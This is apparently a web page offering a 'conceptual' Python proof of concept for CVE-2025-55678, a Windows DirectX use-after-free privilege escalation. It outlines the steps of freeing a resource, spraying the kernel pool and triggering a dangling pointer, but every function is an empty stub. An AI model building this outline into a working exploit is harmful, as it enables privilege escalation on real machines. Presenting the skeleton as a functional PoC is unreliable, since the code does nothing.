CVE-2025-55678 Windows DirectX UAF权限提升漏洞

# CVE-2025-55678 PoC - Windows DirectX Use After Free Privilege Escalation # This is a conceptual PoC demonstrating the exploitation approach for UAF in DirectX # Note: Actual exploitation requires specific DirectX API sequences and memory manipulation import ctypes import struct from ctypes import wintypes # Windows API constants PROCESS_ALL_ACCESS = 0x1F0FFF MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_READWRITE = 0x04 PAGE_EXECUTE_READ = 0x20 # Load necessary Windows DLLs kernel32 = ctypes.windll.kernel32 d3d11 = ctypes.windll.d3d11 def exploit_directx_uaf(): """ Conceptual exploit flow for CVE-2025-55678: 1. Create a DirectX device context 2. Allocate and initialize a vulnerable graphics resource 3. Trigger the use-after-free condition 4. Reclaim the freed memory with controlled content 5. Execute shellcode through the dangling pointer """ # Step 1: Initialize DirectX device # Create D3D11 device with specific flags to trigger vulnerable code path device_ptr = ctypes.c_void_p() context_ptr = ctypes.c_void_p() # Step 2: Create vulnerable resource (e.g., texture or buffer) # The resource will be allocated in kernel pool memory vulnerable_resource = create_d3d_resource(device_ptr) # Step 3: Trigger the free operation # Release the resource but keep a dangling pointer release_d3d_resource(vulnerable_resource) # Step 4: Spray kernel pool to reclaim freed memory # Allocate objects with controlled content to occupy the freed slot for i in range(100): spray_object_with_payload() # Step 5: Trigger the use of the dangling pointer # This causes execution of attacker-controlled data trigger_dangling_pointer_access(vulnerable_resource) return True def create_d3d_resource(device): """Create a DirectX resource vulnerable to UAF""" # Implementation involves D3D11CreateDevice, CreateTexture2D, etc. pass def release_d3d_resource(resource): """Release the resource creating the dangling pointer condition""" pass def spray_object_with_payload(): """Spray kernel objects to reclaim freed memory with controlled data""" pass def trigger_dangling_pointer_access(ptr): """Access the freed memory through the dangling pointer""" pass if __name__ == "__main__": print("CVE-2025-55678 PoC - Conceptual demonstration") print("Use after free in Windows DirectX - Local Privilege Escalation")